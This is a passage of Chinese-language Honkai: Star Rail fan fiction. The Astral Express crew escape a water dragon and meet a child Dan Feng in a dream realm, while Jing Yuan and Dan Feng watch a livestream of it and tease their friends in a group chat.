丹恒倒是不担心她,星只是看上去大大咧咧的,行动可没有面上那般鲁莽,只是看着她那已经要被打击成黑白线稿的模样,思索自己这个惩罚是不是打击的有点大?
他们维持着之前的队形一步一步,缓步
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上前,遍走边观察着丹枫的反应,以保证出现意外的时候能第一时间反应。
一步、两步、三步,直到跨过的某个界限的瞬间,丹恒敏锐的感觉到水流的流向改变了,水龙卷上的饮月君几乎是唰的一下睁开了眼睛,淡漠的目光精准的落在最前头的星身上。
“外来者?”
声音很冰,冻的三月都忍不住打了个寒战。
星下意识后退一步,却发现退开的瞬间丹枫又把眼睛闭起来了。
星眨了眨眼睛,好像明白了什么。
她小心翼翼的探出了一只脚,轻轻踏出了小小的一步,脚尖落下的瞬间,龙尊睁眼,水流窜动,她嗖的一下又把脚收回,那人眼睛就闭上了。
星又一脚踏进去,水龙卷上的丹枫睁开眼,退出来,又闭上。
再踏进去、再睁开。
再退出,再闭上。
睁开!闭上!睁开!闭上!
就这样进进出出不知道多少个来回,水龙卷上丹枫的眼睫眨出了残影,一双漂亮的凤眸被作弄的翻起了白眼!
最后像是终于忍无可忍一般,玉立的龙尊怒而睁眼,身后壮观的水流凝成一条水龙扶摇直上,自他身后俯首而下,虎视眈眈的盯着在感应线来回横跳的家伙。
龙目和星核精金眸对视的瞬间,星呆愣了两秒嘿嘿一笑,“哈哈,那什么,要不,我们重来?”
水龙不语只是一味地呼啸而下,直冲而来,星掉头就往丹恒那边跑,边跑还边喊:“你丫的玩不起啊!!”
“丹恒老师!救命!”
收到求救的丹恒看着这一系列操作一脸淡定,甚至在水龙冲来的时候还有几分诡异的‘终于来了’的欣慰感。
该来的,总是要来的。
他淡定的上前几步,走到最前头,以一种熟练的令人心疼的姿态表示这个摊子交给他。
水龙袭来的劲风吹翻了丹恒青绿色内里的衣摆,他静静的抬起了手,吐字不带波澜,“洞天隐月...”
他与丹枫本源同出一辙,无论面前的丹枫到底是什么玩意,只要不是活人,丹恒就有自信能从对方的操控下抢过水龙的控制权,化为己用。
果然,自他念起咒言,水龙果真放缓了攻势,它放弃了原来的目标转而将目光投向这位他原主人的转世之身。
单纯由水流构成的力量分身本不应具有独自的判断能力,但丹恒此刻却意外的从那双龙目中看到了一丝疑惑。
不待他多想,水龙已然乖顺的朝他俯下龙首,龙角轻蹭他的掌心,力量臣服于他的感知里,龙身顺从的朝他缠绕而来。
然后在所有人都想不到的情况下,龙尾一卷,啵的一声以一种旱地拔葱式的姿态将丹恒从地上直挺挺地拔了起来。
丹恒:???
星和三月七:???
不待他们反应过来,水龙就跟发现了什么大宝贝一样,调转龙首就要往丹枫那边冲,整条龙欢快的就跟某种叼着骨头傻乐的雪橇犬一样。
水龙:本体!快看我发现了什么!另一个你诶!!
9. 朋友都是债
双脚离地的那个瞬间,丹恒整个人是茫然的。
他的的确确感受到了自己接收到了水龙的操控权,但他所操控的力量分身从来都没有出现过这种自主行动的情况,以至于他一时间甚至都没想起来要挣扎。
水龙腾跃的很是欢快,就差没原地转个几圈,整条龙兴奋的都不像这个物种,卷着丹恒眼巴巴的就往丹枫那边飞。
但它还没来得及冲出多远,就被一股阻力死死的拽在了原地。
它回头看见那个一灰一粉的两个小姑娘正死死拽着他另一个主人。
星抓着丹恒的一条腿,大喝一声:“放下我们家不动产!”
三月七抓着丹恒另一边的脚,死命拍那上头的龙尾,“喂,把丹恒放下来!”
连迷迷都上来扒拉了两下。
水龙不信邪的往回扯了扯尾巴,企图把自己的另一个主人扯出来,却惊讶的发现自己居然没能扯动,只能一鼓作气往前冲,企图靠冲力挣开两人,硬生生将自己抻成了一根龙条。
星和三月七也不是吃素的,力气大的吓人,跟拔河似的,脚下愣是纹丝未动,甚至还把水龙一点一点的拖了回来。
拼命往前挣扎的水龙:???不是,这合理吗?
当然,它的灵智还远不到可以清晰的生成这种心理活动的程度。
可作为他们拔河的‘目标’,丹恒的感受就不是很好了。
两人一龙的力气全使在他身上,一个尾巴圈着自己上半身,另一边两个人分别抓着他的腿和脚,他现在没有直接上下半身脱臼全靠天生的身体强度。
而且,他感觉自己的鞋和裤子要被扯掉了。
这一切都发生在电光火石之间,丹恒甚至来不及思考为什么已经受自己操控的力量会自动行事,就要开始担心自己会不会被自家同伴扯掉裤子的问题。
显然,相比于前者,后者更加危急,因为它直接关系到了丹恒无法面对的节操问题,冷面小青龙的脸皮还远远达不到银河球棒侠的厚度。
所以,丹恒立刻采取了行动。
他尝试着控制水龙松开自己,虽然不知道具体什么情况,但显然他依旧可以对这条水龙的行动做出干涉。
果然,在指令下达的瞬间,水龙紧紧缠绕着他的尾巴立刻出现明显的停顿,星和三月七趁机把丹恒拉了出来,甚至都还来不及把人放下,直接扛着他掉头就跑。
丹恒显然没有料到会这样,他被两个姑娘抗在肩上,默默的捂住了自己的脸,耳朵尖红的已经可以滴血了:“三月、星,先把我放下来!”
两个小姑娘极为默契的同时把他往上掂了掂,然后回答他:
“来不及了,丹恒你先将就吧!”
“对啊,等会又被那条水龙绑走了怎么办?!”
丹恒:......
有没有一种可能,他下来开启蟠跃状态带着她们两个会跑的更快?
而且,他又不是没能力反击,刚才是被打了个猝不及防,但他又不傻!
但扛着他的两人显然不这么认为,并且异口同声的喊着口号:“列车的不动产绝对不能丢!”
水龙明显也没有打算放弃,尾巴上缠绕的另一个主人不见后,立刻长啸一声朝他们追来。
他们这些年来也是逃命出了经验和乐趣,脚下腿抡的都要冒烟了嘴上也没个消停。
三月七:“哇啊啊啊,追上来了追上来了!”
星:“好快!比我二舅追我那回还快!”
三月七还不知道有过这茬:“那个男人?!他什么时候还追杀你了?他的目标不是丹恒吗?!”
星头也不回的表示:“因为我那天说他变态!”
三月七一惊:“他不会对你做了什么吧?!”
星:“没有!但我那天问他这么追着丹恒老师是不是因为恨比爱更长久!”
“然后二舅就追杀了我一整天!”
三月七:“......”难怪。
莫名被牵连的丹恒:“......”他突然就有点感同身受刃当时的杀意了。
“我又问他是不是恼羞成怒!他追的就更快了!”
丹恒:突然觉得星比自己更命大啊。
“但我没被砍到!说明二舅他还是爱我的!”
不,这说明卡芙卡发力了!
三月七和丹恒的想法不约而同的统一了。
不过某种意义上来说,刃没因此追杀到列车上,也确实证明了星这些年的‘二舅’没有白叫。
由于行动关系,两个人的对话基本都是喊出来,一字一句都清晰的通过直播传了出来。
景元已经趴在石桌上笑了好一会了,他从刚才那个‘丹枫’被弄的翻白眼的时候就开始笑了,笑到现在基本没停过,肩膀一耸一耸的,捂着嘴哼哧哼哧的漏气,根本停不下来。
他不敢笑的太放肆,丹枫就在他身边,要是他笑过头了,保准下一次丹枫给他治疗的时候他那一份药会比黄连还苦!
他真的头一回看到丹枫的脸出现在这种情景里,哈哈哈哈哈,不行了,肚子笑的好痛。
等笑的真的差不多了,他才捂着肚子,揉了揉笑的发酸的嘴角,喘了一口气,“不愧是星穹列车。”
这个画风,丹枫都无法幸免于难。
强,真是太强了。
云上五骁,甘拜下风!
他回过神,听见丹枫的玉兆嗡嗡响了起来。
景元的玉兆因为观影开了专注模式,就算有消息也看不见,他就凑了个脑袋到丹枫那边,跟个扒拉着人手的大白猫似的,得了允许才去看玉兆的内容。
让丹枫玉兆都快跳起踢踏舞的是云上五骁的群聊,丹枫点进去的时候整个窗口都在疯狂抖动,丹枫点进去一看,好嘛,全是他的表情包。
有翻着白眼的,睫毛扇出残影的,也有眼睛半白不白的,每个人的截图都各不相同,还全是丹枫那张脸放大后的近距离截图,哈哈哈的文字是一排接着一排刷着屏。
那三个家伙这几天忙的要死要活,发个消息都半天不见个响应,现在倒好,就跟看见了打窝的鱼似的,全一下子蹦出来了。
尤其是应星,言辞之间的幸灾乐祸都要溢出来了,丹枫隔着屏幕都能看见
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对方嘲笑的脸,就好像在说:丹枫你居然也有今天!
景元:......看样子这段之后的很长时间,他们群里都不会缺丹枫哥的表情包了。
他瞅着丹枫凝固的表情讪笑,二话不说先撇清了关系自保,“那什么,丹枫哥,我没有参与啊,我玉兆还在那呢。”
丹枫深吸一口气,安慰自己,都是挚友,没什么没什么,自己交的挚友,要学会宽容......个头!
他这一口气愣是没吐出来,原本清冷的脸上徐徐升起了温柔至极的微笑,看的景元的小心肝一颤一颤的。
“说起来,此次大战,他们也难免受伤,当时治疗只顾着皮肉,想必筋骨内里还需调养,你是说吧,景元。”
景元欲哭无泪,“丹枫哥...我能说不是吗?”
丹枫微微勾起嘴角,“当然...不能,放心。”
这意思就是不会专门算他的账了,景元顿时松了一口气,没有再求情,只是在内心为其他几个同伴祈祷。
要知道,上回丹枫哥特意调制的药,甚至直接放倒了他师父啊!
两人旁边,腾骁见状庆幸的默默端起茶杯喝了一口,没有出声。
还好他有先见之明,早早闭麦了。
这边景元还在为自己和其他几个哥哥姐姐祈祷能够看到第二天的太阳的时候,投影上,星和三月七扛着丹恒已经经历一段她逃,它追,他们插翅难飞。
水龙的穷追不舍很是麻烦,迷迷也早就到了召唤时间先行回撤,星和三月七显然已经有点被追烦了,她们倒不是打不过,就是当时气氛都到那了,下意识的就扛起丹恒开溜了。
现在被追到这个份上,两个姑娘显然也被追出了火气,球棒和弓箭蠢蠢欲动。
但还不等她们撸起袖子反击,某个隐晦转角,一只小手伸出来,那手力气巨大,一把抓住星的衣角,直接硬生生的将他们拉进了转角之后的隐洞之内。
水龙忽然失去了目光也很是迷茫,原地来回转悠了两三圈发现,嘿,人真的跑不见了,才懵懵懂懂的回归了本体。
而就在他的眼皮子底下,视线的死角处,丹恒、星、三月七在洞穴的地上摔成了一团,被一道水流封住了嘴巴。
“嘘。”
把他们拉进来的人眨着一双在昏暗视野中仿佛在发光一般的水青色眼眸,对他们比了一个嘘声的手势,转头又探头探脑的观察着外头。
在从洞穴外探进的光线下,他头上那稚嫩的仿佛初生玉枝似的青翠角冠尤为剔透,就这样等了三两声的龙吟,直到水龙真的彻底离开,水流才缓缓松开了几人的嘴。
这么一小段时间里,三人的视线也适应了洞穴略显昏暗的光线,终于看清了来人的真实面目。
那是个还不及丹恒膝盖高度的稚童,头上的龙角都还未长成,生着软乎乎的奶膘,眼睛溜圆,双眼下飞红明艳,穿着精致的孩童服装,漆黑的长发披在身后。
他眨了眨眼睛,用嫩乎乎的声音问道:“没想到还能在这长梦之地遇见其他人,你们还好吧?”
看上去完全就是个缩小版的丹恒。
10. 人有五名,龙有三只
投影前,景元张大了嘴巴,这已经是他看直播开始不知道第几次震惊了。
“丹枫哥,又一个你。”
老实说,这个幼年丹枫的出现比刚才丹恒几人说出七百多年前还要震撼的多。
这直播现在一共也才出场了六个人物,算上丹恒,‘龙尊’居然就占了一半的人数?!这个浓度是不是有点太高了!不过...
景元偷偷瞥了一眼身旁面色清冷的丹枫,又看了看直播上那个像是被暖烘烘的阳光晒透了的稚童,那么小一个,稚嫩可爱到几乎想让人抱在怀里好一顿揉搓的龙团子,不禁暗暗在心里感叹。
完全想不到丹枫哥幼年时期会这么软糯。
这要是让白珩姐碰上,绝对会抱着不撒手的吧?
果然,不多时,丹枫摊在石桌上的玉兆又开始叮叮作响,他没有息屏,景元就稍稍走马观花的扫了一下。
是他们几个的群里另外几个家伙在大肆感叹岁月是把杀猪刀,放言让丹枫把那个可可爱爱的龙团子交出来,交不出来也没关系,只要能给他们撸撸尾巴就行。
这算盘珠子都要崩到他脸上来了。
不说景元,即便是丹枫看到这个幼年版自己的时候也稍微茫然了一下,画面上的孩童确实是他幼年时期的模样,穿的也是当时的衣装。
但...当时自己是这个模样吗?
丹枫不太确定,那毕竟也是五六百年前的事情了,哪怕是寿数只有百年的短生种都未必能记得多少自己幼年时期情况,他这样幼年期在最近也在五百多年前的就更难了。
但按照他还记得的情况,当时也应当没有如此才对,他的童年从来不是什么柔软的幻梦,而是冰凉又群狼环伺的现实维谷。即便有过,也应当在他不知道的时候就被龙师磨了个干净。
现场,丹恒三人的震惊,绝对不亚于直播前的任何一个人。
星和三月七坐起身目瞪口呆的在丹恒和小丹枫之间来回扫视,然后同时做出了一个哇喔的表情。
星:“这难道就是,人有五名,龙有三条,丹恒,你是其中之一?”
对这个句式颇有阴影的丹恒有些头痛的捏了捏鼻梁,“...星,别用那种句式造句。”
“重点不是那个吧。”三月七无语的纠正两人,她看向小小一团的孩子,声音不自觉的夹了起来,“不过这孩子好可爱!小朋友谢谢你刚刚帮了我们,你又是谁?叫什么名字啊?”
幼龙眨了眨眼睛,“丹枫,我叫丹枫。”
三月七一愣,“丹枫?那外头站在水龙卷的那个是谁?”
小丹枫眨了眨眼睛,“那同样也是‘我’的一部分,也是‘丹枫’。”
“也是你?”三月七被他搞蒙了,下意识的看向丹恒,“丹恒,你们持明还有自动分裂的功能吗?”
丹恒无奈的扶了扶额头,“不,三月,持明没有那种能力。”
“你误会了,好看的大姐姐。”小丹枫轻笑道:“我们是同一个人,只是映射出的不同的个体罢了,说起来,大姐姐,你们又是谁?”
三月七被他那一句好看的大姐姐夸的心花怒放,这种用词让成人来说会显得过于语言单薄,但从孩子的口中吐出,就变的格外纯真质朴,乐乐呵呵的就把自己交代了出去。
“我是三月七,她是星,你面前的那个是丹恒,我们是来自星穹列车的无名客,星穹列车你听说过吗?”
她笑眯眯的挨个指了自己、星,最后到丹恒,似乎一时间都忘了她面前这个小孩是外头那个六百多岁的持明龙尊。
小丹枫闻言看向丹恒,仔细的打量了他一眼,却笑了起来,“丹恒...丹恒...”
他一字一字的嚼捻着丹恒名字的每一个音节,眼神逐渐发亮,随后有些欢快的对丹恒道:“我注意到你了,你的梦和我很像,长得也和我很像。”
他探过身子,小手捧住丹恒的下巴,微亮的水青色眼眸和丹恒那双灰蓝色的眼眸对视。
他打量了丹恒片刻,忽而一笑,眼中流露出莫名满意的光,“果然,虽然不知道为何,但我一见你便觉得喜欢。”
末了,他侧过头,在丹恒的脸上吧唧亲了一口。
那是个不带有丝毫暧昧和其他意味的亲吻,就是孩童最本质的表达喜欢的一种方式,甚至还礼貌的没有带上任何口水。
但丹恒依旧被他这一口给亲蒙了,灰蓝色的眸子里一片茫然,眼睫怔松的抖了抖,神情纯白的居然和面前的孩童一般无二。
他生来就没有被如此亲密的对待过,纵然他已经有了亲如家人的同伴,但再亲的家人也不可能上来就在他脸上啵一口啊!
持明族没有父母,他幼年又是在幽囚狱长大的,根本不可能被这么腻乎的对待,甚至于,他敢肯定,历代龙尊幼年都不可能有这个经历!
然后这个历代龙尊之一,上来就给他来了一口。
小青龙的脑袋直接陷入了宕机中,耳垂发红,整个人僵硬在了原地。
“你...”
他不知道该说什么好,你了几下说不出话来,就闭上了嘴巴。别说他,从三月七和星到屏幕前景元和丹枫本人都被小丹枫这一口亲懵了。
小丹枫却完全不觉的自己做了什么惊人之举,对三月七点了点头,回答了之前的问题,“游云天君的虹车,‘我’经常听白珩说起,没想到居然已经重新起航了吗?”
三月七和星张大了嘴巴,没有回答,好半晌才结结巴巴吐出了一个傻乎乎的问题:“你、你为什么亲他啊?”
小丹枫奇怪的看了看她们,微微歪着脑袋道:“因为我喜欢他啊。”
他微微扬了扬下巴,就好像他喜欢丹恒亲近丹恒是丹恒的荣幸一般,完全不需要害羞,散发着一股从骨子带出来的傲然。
这时候,他才又像是那个高傲的持明龙尊的幼年期。
虽然他也不知道为什么他看眼前这个和自己一模一样的青年这么顺眼,好像看着他这般心底就有某种遗憾和渴望就能借以慰藉。
“可惜了。”他很是遗憾的叹了口气,面
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上流露出明显的不舍,“我还是头一回遇到这么合我眼缘的人,我都想直接把你留下来了。”
不知为何,丹恒能感觉到,他说这话是认真的,却也没有丝毫要实行的意味,他不动声色的拦下提起警惕的两个同伴,回答道。
“抱歉,我们误入此地,只是对这里一无所知才下车自行探索出路,并没有久留的意思。”
他掩去了列车仪器无法使用的现状,简略的解释他们的来意。
小丹枫不知道有没有注意到他们的小动作和神色变化,也可能是注意到但却没有理会,他理所当然的点了点头,“嗯,你们确实不能久留。”
他用一张天真无邪面孔说出了一句极为恐怖的话,“在长梦之地呆太久的话,你们会死的。”
他简单的向他们解释了一下什么叫做长梦之地。
长梦之地,顾名思义就是长久梦境所凝聚而成空间,说白了就是一个梦境,只是和匹诺康尼那样人为构建的联觉梦境不同,这里是一种梦境的天然存储地。
寰宇中所有会做梦的生物,他们所留下的梦境都会被储存在到这里,然后在从这里转化为寰宇中的‘忆质’。
可以说,这里就是整个寰宇映射出来的一个超大型梦境世界,不过是毛坯版本。
“你们误入的这片区域是长梦之地的中枢,是连接着所有梦境的中继点,可以通往任何的梦境,但因为‘我’常年守在这里,所以也会受到‘丹枫’梦境的一些影响。”
小丹枫解释道:“这里的你们只是精神体,你们现实中的身体仍然是处于沉睡状态,如果在这里呆的太久,你们的身体机能就会撑不住的,进而迈向慢性死亡。”
这倒是和迷迷的说法对上了。
难怪列车上的那些仪器都不能使用,跃迁系统却能够正常运行。丹恒心想道。
星穹列车的跃迁系统核心依靠的是开拓命途的开拓力,所以即便这种梦境中也能够继续运行。
“但你说,你常年守在这里?”他继续问道。
“我不太一样。”小丹枫有些苦恼的抓了抓头发,小大人的抱胸,他似乎并不是很想说起这件事,但出于对丹恒的好感,他还是回答了。
“听你们刚才的话,你们应该认识丹枫。”他顿了顿,稍稍看了看几人的表情,确定了这个情况后才接着道
“你可以将我和外面的丹枫都看做是一种丹枫意识的一种映射体,是他的一部分,而非他完整的精神体,只有这样,我们才能一直镇守在此处。”
“这是我们‘饮月’的职责。”
丹恒闻言皱了皱眉,抓住了他话里的关键信息,“也就是说,丹枫还活着?”
小丹枫奇怪的看了他一样,“当然还活着了,应星都还没死,‘我’怎么会死?”
说完,他看着几个人面色骤变的脸,歪了歪脑袋:“有什么问题吗?”
当然有问题,大问题!
先不说丹枫还活着是什么时间线,‘饮月’什么时候又打了这么一个白工啊!
11. 真与假
洞口一片安静。
小丹枫说的事后很平静,就现在说一件无关紧要的事一般,语气和说今天天气真好几乎没有差别。
但所有在现场和不在现场的人听完全都下意识的向日葵扭头一样看向了身边的自家龙。
被她们看的丹恒一脸懵逼:不是,这事他怎么不知道?
投影前的丹枫更加懵逼:不是,他是龙尊他怎么不知道自己还打了一个这么久的白工?这龙尊传承里也没讲这事啊。
景元的脸色骤然难看了起来。
他直直的看向丹枫,一向圆融暖和的眼睛里鎏金一般的光沉了下来,显出几分锐利,像只蓄势待发的小狮子,“丹枫哥,这是真的吗?”
丹枫轻轻摇了摇头,天地良心,他真的没干过这个,守望建木就已经耗费了他大半心力,他哪来的余力再搞什么副业啊。
但景元却明显表现出了对这个直播的信任,这并不寻常。
景元向来聪明,可以说在他们五个人里是最擅长智策的那个,比很多年过数百的仙舟人都要思虑周全,不应会如此亲信一个真假不明的消息来源。
“景元,你认为这个直播可信?”他微微皱起眉头问道。
景元又看了他一会,确认他面无一点异色后泄下气来,“至少有六分可信。”
这还是因为他们目前太多信息无法得到验证的缘故。
丹枫微微挑眉,连茶杯都放下了,“比我预想的要高。”
他原是觉得现阶段的话,兴许也只个三、四分可信,毕竟有星神干涉,太卜司的结果也未必可信,能有个三、四分可信度已经很高了。
他好奇道:“难道是因为常乐天君?”
景元失笑的摇了摇头,“怎么可能?若要说是因为相信常乐天君,恐怕应星哥和白珩姐能笑我大半年。”
说个笑话,欢愉星神有信誉。
这话别说是未来的神策将军不信,就是假面愚者都不信。
“但我作出这个判断确实和常乐天君有关。”他转头看向直播,看上头的列车组神色显然也对这番话有所怀疑。
“直播的内容真假尚且无法完全断定,但有一件事可以肯定,常乐天君搞出这么大的阵仗,绝不会只是单纯为了给我们看一些完全捏造而出的笑话。”
这不是出于对欢愉星神神品的信任,而是出于对他们自身弱小的确信。
他摇了摇头,“我们还没有资格。”
他们太过渺小,也太过平庸,无论是云上五骁,仙舟将军又或者是仙舟联盟,在星神面前他们什么都不是。
他们远远达不到让阿哈完完全全的费尽心思捏造一个故事,大费周章的搬到仙舟上来搞直播的资格。
就像人不会去费尽心思愚弄一只蚂蚁。
对于欢愉星神而言,这种做法的趣味性也十分低劣。
“退一万步说,纯粹虚假的故事也毫无意义,哪怕是要编造谎言,单纯的造谣也是属于最下等的手段。”
说到这个份上,在场的人还有什么不懂的。
最恐怖永远不是纯粹的谎言,是九真一假的消息,甚至是利用真实的信息所构造出的错误的信号。
这种手段景元在战场上为了打信息差也没少用过,丹枫和腾骁也没少在政治场上见过。
所以这个直播里,一定存在着大量的‘真实’,只是需要他们自己来辨认,拼凑。
“不过,这已经超出【欢愉】的范畴了吧。”
腾骁皱着眉头,只感觉自己的头又疼了起来,平时跟那群老家伙斗智斗勇就已经够头疼了,现在星神居然也来玩猜猜看了。
“这似乎已经涉及到了【神秘】的领域。”
景元看着直播,没有回答,心里却道:也没有规定这个直播只有【欢愉】的参与啊。
既然已经下场了一个星神,那么下场第二个,甚至第三个都不足为奇。
只是越想,他就越感到一个巨大的疑团在包围着他,刺激着他的神经和潜藏在他骨血之下的危机感。
“所以,丹枫哥。”景元转过头,那双熔金一般的眸子再次笔直的看向丹枫,似乎想要看到那潭清水下暗自舔舐的伤痛,目光灼灼,声音不轻不重。
“你真的什么都不知道吗?”
丹枫看着那双眼眸,不知怎么的就说不出话来。
他明明一无所知,此刻,却连给个摇头都艰难不已。
和直播前迷茫的丹枫相比,丹恒就坚定的多。
他很坚定自己什么都不知道。
他身负的龙尊传承并不完整,有一部分在白露身上,而他身上这部分的传承和零碎的不成样的记忆除了基础的使用教学以外,几乎没有任何信息量。
就连持明内部的龙尊交替事宜他都是从书上和十王司教化中知晓的,更何逞这种持明族内都不曾流传过的事情?
他确认不了它是真的,也无法否认它是假的。
也许是丹枫那时候才知道的事情呢?他这么想着。
他的理智在提醒他不要轻信小丹枫的话,但他的直觉又在告诉他对方没有说谎——至少没有完全说谎。
他只能对同伴摇摇头,示意自己也不清楚,然后回答道:“没事什么,只是骤然得知饮月君身负如此大任,有些惊讶,如此辛苦,丹恒着实敬佩。”
他说话的语气好像自己不是那个饮月君的转世一样。
小丹枫又看了看外头,似乎在注意什么,最后才云淡风轻的笑道:“这不是什么大任,只是我们应该做的事情,也不怎么辛苦,就是偶尔会有点累。”
三月七看着他那副样子,也许是因为丹恒的原因,不由自主的有些心疼:“精神体一直在活动怎么想都肯定会累的吧,你没有休息的时候吗?”
他摇摇头,“我们本就是‘我’的精神延伸而出的存在,只要我们还存在着就会加剧‘我’的精神消耗。”
他举了一个例子“就好像一般人睡着了脑袋就休息,精神也许会到这里游荡,但那也是休息的一部分,等到他们醒来,精神就会离开这里专注现实,只留下已经形成的梦境。”
“但‘我’不可以,‘我’永远比其他人多出一份消耗,清醒时消耗,休息时也在消耗。”
可他并不在意这一点,只是潇洒的站起身,拍了拍自己的衣摆,“不过反正‘我’做梦也没梦到过什么好事情,还不如能在这里待一会,总比梦到那些东西强。”
他没有细说到底梦到什么,自顾自结束了话题,“最近这里不是很平静,‘我’的梦境也是乱七八糟的,所以我得抓紧时间送几位离开。”
他转身带路向洞穴内走了几步,又回头对他们道,“走吧,我带你们去找出口。”
说完就率先走了进去。
三月七和星微微靠近丹恒,压着声音问道:“怎么办?跟着他
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走吗?咱们连他说的是真是假都还不确定啊?”
星摸了摸下巴,“感觉挺真的。”
三月七无奈:“感觉又不能当饭吃!”
星听了一脸震惊:“三月,你警惕心居然提高了!”
三月七:“喂!你几个意思!”
丹恒没有参与她们的吵嘴,只是看着小丹枫身影已经消失了的洞穴阴影,轻声道:
“寻找出路也是我们的探索目标之一,如果能够找到,对我们而言确实是一大进展,而且,我预感就算我们离开了这里,这件事也并没有结束。”
他作抱胸姿势,微微摩挲了一下手指,“还记得他说的吗?丹枫还活着。”
“我们无法确定这个时间线是这个世界的问题,还是我们在穿越了空间的同时也穿越时间。”
如果是前者,他们离开之后就能回归正常的时间,如果是后者,那他们这一次的意外还远远没有结束。
“而且有一件事他说对了,如果我们现在的身体是属于沉睡状态,那么我们就不能在这里久待。”
从这一点出发,他们也确实应该优先寻找离开的方法。
目前来看对方没有欺骗他们的必要,所言信息真实的占比应该很大,而且他们离开这里也不会有什么损失。
丹恒是无名客没错,但开拓并不是他的全部,至少不是他放在第一位的那个。
在名为丹恒的天平上,同伴的存在永远大过他向往的自由和星空。
他思索了一下,看向星:“星,你先放个开拓的信标试试。”
如果能够放下信标,他们就还有回来探索的可能性,如果连开拓的信标都不能钉下,那这个地方就更加不能久待了。
星立刻照做,随着她抬手轻点,开拓的信标被顺利的钉下,这让三人都不约而同的松了一口气。
丹恒接着道:“走吧,跟上去看看,注意小心行事。”虽然好像他们刚才的行动也和小心没关系了...
他们原以为小丹枫都已经走远了,但是实际上进入了洞穴之后几人才发现,这个洞穴与其说是洞穴不如说是一个入口,直通另一番天地。
仅仅是几步之遥的距离,世界便骤然变化,原本赤灰色的战场消失,只剩下平静无波一望无际的海面,和海面上如梦似幻的忆泡和彩光。
穹顶依旧是漆黑的,漆黑的看不见一丝杂色,好像能把人吞进去一样,就在这样的天幕之上,一轮巨大的圆月高悬夜空,俯视这这整个世界。
小丹枫站在离他们稍远一些的位置,轻巧的踩在海面上对他们轻笑,“欢迎来到长梦之地真正的枢纽处,也是各种出入口的汇集点。”
这才是这个长梦之地中枢的真正面目。
几人被这样的景色震撼了几秒,可能是因为和月亮的缘分,丹恒的目光不受控制的落在了那巨大的银盘之上。
那月亮很是壮观也很是明亮,但却也好像只能亘古恒久的悬挂在这里,正如他返回仙舟之后的第一个夜晚在鳞渊境里看到的月亮一样。
小丹枫在他们前头摸摸索索,最终停在了某个忆泡附近,不太确定的道:“我记得是在这里?”
他抬手,面前的空间自动化出了一扇门,他轻轻一拉门便开了,几人跟上前,凑过去一看。
门内,某个工造司大名鼎鼎的百冶,正光着膀子踩着锻造台,对着面前的金人大喝一声,“形态变换!”
12.公开处刑
空气中一片安静。
只能听见星平淡无波的哇了一声,立刻眼疾手快不知道从哪掏出来一个摄像机,熟练的架起、开机,聚焦,开启拍摄!
随着白发的匠人一声令下,梦境中爆发出一阵浮夸到离谱几乎只有在影视作品中才会出现炫彩光效,一个威严无比的金人从光芒中浮现。
金人通身是青蓝色的,冷硬的金属外壳上反着的银月般的光,通身绘着波浪和莲花的金纹,俨然就是某个饮月龙尊的联动款。
它身上的部件自动开始变换,谁也没看清楚它是怎么变的,在一阵眼花缭乱的部件重组后,它从一个正常的金人伸缩变化成一条巨大的机械青龙。
机械青龙缓缓腾挪身子,威严无比,甚至在变换完成之后还发出一个和丹枫声音很相似的机械声,“青龙形态,变换完成。”
小丹枫:......
丹恒三人:......
还不等他继续,小丹枫就默默的关上了门,他回头用一种我什么都没看见,你们也什么都没看见,好像刚才只是看到了应星跳脱衣舞的神情道:
“不好意思,应星他...比较喜欢金人。”
列车三人组:看出来了。
最大开眼界的就是丹恒,他见识的最多的是已经变成星核猎手的刃,刃大多数时候是沉默寡言的,那双明烛一般的眼瞳中间燃着执念的火,固执的不肯消去。
在看到他的时候,那团烛火就会蹭的一下炸开,连带着眼睛伸出那些沉默的光都被一同扭曲,落成满目的疯狂和杀意。
他和刃向来是话不投机半句多,见了面,说不上几句就是兵戈相见,最后要么就是以他一枪捅死对方或者对方有任务被卡芙卡的言灵召回而结束。
对于变成刃之前的那个男人——应星,丹恒反而是抱有一种类似于怀念的情绪在里头。
毕竟记忆中,那人温和又狷狂的话语霎是震撼人心,即便丹枫留他的记忆残破的连应星的模样都记不住,那句话却在他回想时,第一时间浮现在脑海之中。
“宁如飞萤赴火,不作樗木长春。”能说出这样一番话的人,该是怎样的艳艳惊才之辈。
所以,丹恒对于应星的印象就一直停留于那种惊艳了一整个时代的匠人天才。
然后现在这个绝世天才一点不怕烫踩着工造司的锻造炉在玩机甲变形,像极了仙舟幻戏里那些带着名为金人也叫高达的驾驶员。
万万没想到,这位天才百冶还有一颗童心。
甚至看的出,对方对于丹枫的龙身有一种莫名的执著,因为那条机械龙几乎就是他化龙之后的模样。
这两个形象在丹恒脑袋里一结合,直接出现在了刃手持支离,脚踏星核,剑指镜流,用一种轻松健康阳光的语气对着他来了一句:“青龙一号!变身!”
呃...那场面也太可怕了。
他痛苦的捂住了自己的脸,深刻感觉自己一定是和星、三月七她们看多了那些金人幻戏导致的。
他看向星,星正在检查她刚才拍下来影像,虽然不知道能不能带出去,但没事命途之力总是很神奇的。
她收到丹恒投来的眼神,歪着脑袋不知道想了什么,最后回了他一个安心的眼神,“放心,回去我就发给你。”
丹恒:......
他其实并没有想要,但到底也没说出拒绝的话来。
算了,就先收着吧。
看得出来,星拍这个一定是要拿回去祸害刃的。
希望刃不会被这个黑历史激的魔阴身发作吧,对列车组老幺的作死行为深有感触的丹恒在心里叹了一口气。
反正星在这方面自己有数,星核猎手那边也有卡芙卡这一层保险在,他不必太过担忧。
刚才那一幕被丹恒三人看了个彻底,也被完完整整的直播了出去。
刚才还在严肃讨论的丹枫几人差点没憋住笑,就算隔着这么老远,他们甚至都能听见工造司那边响起的爆鸣声。
景元直接笑趴在了石桌上,鉴于这位受害者本人还在工造司无法对他进行事后报复,他笑的异常放肆,甚至还撺掇着丹枫在群里问候一下应星。
有着刚才的‘新仇’在前,丹枫当然乐意对这位挚友进行一下反击,几乎不等景元说完,他嘲笑的消息就发出去了。
丹枫:没想到你居然这么在意我?
应星-本月排单已满:......
今天没有摔星槎:没想到啊应星,你居然馋丹枫身子?!
照彻万川:原来如此。
应星-本月排单已满:......
今天没有摔星槎:哎呀,不要害羞嘛小应星,咱们龙尊大人风姿绰约,百冶大人见了念念不忘也很正常。
应星-本月排单已满:啊啊啊啊啊!我就是觉得他变成龙之后很帅!行了吧!
应星-本月排单已满:他变成龙的之后的样子难道不帅吗!我梦一个他龙形态的金人咋了!
应星-本月排单已满:帅!是一辈子的事!
丹枫看着应星那不在沉默中灭亡就在沉默中爆发的回应,轻哼哼的笑出了声,脸上的霜雪倒是退了不少,看在自家挚友真心实意的夸奖的份上,也没有继续在逗他。
